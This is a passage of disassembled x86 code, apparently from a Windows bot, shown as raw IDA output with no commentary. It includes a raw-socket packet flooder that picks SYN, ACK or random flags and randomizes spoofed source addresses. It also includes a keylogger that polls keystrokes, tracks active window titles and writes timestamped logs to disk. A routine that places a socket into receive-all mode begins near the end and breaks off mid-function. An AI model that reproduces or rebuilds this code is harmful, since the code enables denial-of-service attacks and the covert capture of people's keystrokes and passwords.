		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43AD98
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43AD98
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2620000h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 26107DCh
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_401BA1:				; CODE XREF: sub_401A76+25Dj
					; sub_401A76+26Bj
		mov	[ebp+var_24], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43AD98
		mov	[ebp+var_34], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43AD98
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43AD94
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43AD98
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CE6
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 26107DCh
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D0F
		jl	loc_401BA1
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D0F
		jmp	loc_401BA1
; ---------------------------------------------------------------------------


loc_401CE6:				; CODE XREF: sub_401A76+247j
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4262B8
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_401D12
; ---------------------------------------------------------------------------


loc_401D0F:				; CODE XREF: sub_401A76+25Bj
					; sub_401A76+269j
		mov	ebx, [ebp+arg_8]


loc_401D12:				; CODE XREF: sub_401A76+78j
					; sub_401A76+297j
		push	[ebp+var_C]
		call	dword_43AE30
		pop	esi


loc_401D1C:				; CODE XREF: sub_401A76+5Bj
		call	dword_43ACF8
		mov	eax, ebx


loc_401D24:				; CODE XREF: sub_401A76+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D28	proc near		; CODE XREF: sub_4019D7+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A76
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D73
		push	1
		pop	eax


loc_401D73:				; CODE XREF: sub_401D28+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D82	proc near		; DATA XREF: sub_40EE72+2D38o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_424058
		call	edi
		push	eax
		call	sub_417302
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43AE18
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E4B
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_42642C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E2B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401E2B:				; CODE XREF: sub_401D82+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h


loc_401E4B:				; CODE XREF: sub_401D82+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC9
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4263E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA9
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401EA9:				; CODE XREF: sub_401D82+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h


loc_401EC9:				; CODE XREF: sub_401D82+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F39
		lea	eax, [ebp+var_440]
		push	offset dword_4263B4
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F19
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401F19:				; CODE XREF: sub_401D82+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h


loc_401F39:				; CODE XREF: sub_401D82+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43AD98
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi
		mov	[ebp+var_30], eax


loc_401F71:				; CODE XREF: sub_401D82+430j
		call	edi
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402235
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43AD98
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FE4
		call	sub_41730C
		mov	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FFA
; ---------------------------------------------------------------------------


loc_401FE4:				; CODE XREF: sub_401D82+233j
		push	[ebp+var_240]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_20], eax


loc_401FFA:				; CODE XREF: sub_401D82+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_402018
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40201E
; ---------------------------------------------------------------------------


loc_402018:				; CODE XREF: sub_401D82+284j
		push	[ebp+var_B8]


loc_40201E:				; CODE XREF: sub_401D82+294j
		call	dword_43AD98
		mov	[ebp+var_16], ax
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43AD98
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43AD94
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40206E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------


loc_40206E:				; CODE XREF: sub_401D82+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40208E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------


loc_40208E:				; CODE XREF: sub_401D82+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020CA
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_4020CA:				; CODE XREF: sub_401D82+2EAj
					; sub_401D82+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43AD98
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43AD98
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021B7
		inc	[ebp+arg_0]
		jmp	loc_401F71
; ---------------------------------------------------------------------------


loc_4021B7:				; CODE XREF: sub_401D82+42Bj
		push	[ebp+var_4]
		call	dword_43AE30
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_426344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402215
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_402215:				; CODE XREF: sub_401D82+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h


loc_402235:				; CODE XREF: sub_401D82+203j
		push	[ebp+var_4]
		call	dword_43AE30
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4262E4
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4022A6
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_4022A6:				; CODE XREF: sub_401D82+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h
sub_401D82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022C6	proc near		; CODE XREF: sub_4023A7+B4p
					; sub_4023A7+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		nop
		call	near ptr 2630000h
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	near ptr 26204C9h
		nop
		lea	eax, [ebp+var_114]
		push	offset asc_426C1C ; "\\"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset dword_42F684
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_40232D
		push	1
		pop	eax
		jmp	short loc_4023A4
; ---------------------------------------------------------------------------


loc_40232D:				; CODE XREF: sub_4022C6+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_417956
		push	esi
		call	sub_417900
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4023A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_426BDC
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h


loc_4023A2:				; CODE XREF: sub_4022C6+A3j
		xor	eax, eax


loc_4023A4:				; CODE XREF: sub_4022C6+65j
		pop	esi
		leave
		retn
sub_4022C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023A7	proc near		; DATA XREF: sub_40EE72+1F95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43AD20
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43AD34
		mov	ebx, 200h


loc_402402:				; CODE XREF: sub_4023A7+2C7j
		push	8
		nop
		call	near ptr 2620494h
		call	dword_43AD20
		cmp	eax, [ebp+var_8]
		jz	short loc_40248A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43AD34
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch


loc_40248A:				; CODE XREF: sub_4023A7+6Cj
		mov	[ebp+arg_0], offset aB ; "b"


loc_402491:				; CODE XREF: sub_4023A7+2BDj
		push	10h
		call	dword_43AC78
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43AD64
		test	ah, 80h
		jz	short loc_402529
		push	14h
		call	dword_43AC78
		test	ax, ax
		jz	short loc_4024DA
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024DA
		cmp	edi, 40h
		jle	short loc_4024DA
		cmp	edi, 5Bh
		jge	short loc_4024DA
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_4024DA:				; CODE XREF: sub_4023A7+112j
					; sub_4023A7+117j ...
		push	14h
		call	dword_43AC78
		test	ax, ax
		jz	short loc_402505
		test	esi, esi
		jge	short loc_402519
		cmp	edi, 40h
		jle	short loc_402505
		cmp	edi, 5Bh
		jge	short loc_402505
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402505:				; CODE XREF: sub_4023A7+13Ej
					; sub_4023A7+147j ...
		test	esi, esi
		jge	short loc_402519
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_4023A7+142j
					; sub_4023A7+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402529:				; CODE XREF: sub_4023A7+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_402659
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_402561
		call	sub_417AB0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402561:				; CODE XREF: sub_4023A7+1A5j
		call	sub_417AB0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_402593
		call	dword_43AD20
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43AD34
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------


loc_402593:				; CODE XREF: sub_4023A7+1C5j
		cmp	edi, 0Dh
		jnz	loc_40262B
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jz	loc_402659
		call	dword_43AD20
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43AD34
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_4025D4:				; CODE XREF: sub_4023A7+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_402659
; ---------------------------------------------------------------------------


loc_40262B:				; CODE XREF: sub_4023A7+1EFj
		cmp	esi, 1
		jz	short loc_402644
		cmp	esi, 3
		jz	short loc_402644
		cmp	esi, 2
		jz	short loc_40263F
		cmp	esi, 4
		jnz	short loc_402659


loc_40263F:				; CODE XREF: sub_4023A7+291j
		push	[ebp+arg_0]
		jmp	short loc_40264B
; ---------------------------------------------------------------------------


loc_402644:				; CODE XREF: sub_4023A7+287j
					; sub_4023A7+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_40264B:				; CODE XREF: sub_4023A7+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4179D0
		pop	ecx
		pop	ecx


loc_402659:				; CODE XREF: sub_4023A7+12Ej
					; sub_4023A7+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_426BA4
		jl	loc_402491
		cmp	[ebp+var_4], 0
		jz	loc_402402
		push	[ebp+var_D8]
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 26102D5h
sub_4023A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402688	proc near		; DATA XREF: sub_40EE72+1DDBo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_417B30
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43AD98
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_40275D
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427604
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402740
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_402740:				; CODE XREF: sub_402688+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h


loc_40275D:				; CODE XREF: sub_402688+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43ADC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027E2
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4275C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BE
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_4027BE:				; CODE XREF: sub_402688+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43AE30
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h


loc_4027E2:				; CODE XREF: sub_402688+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43AD44
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402865
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427578
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
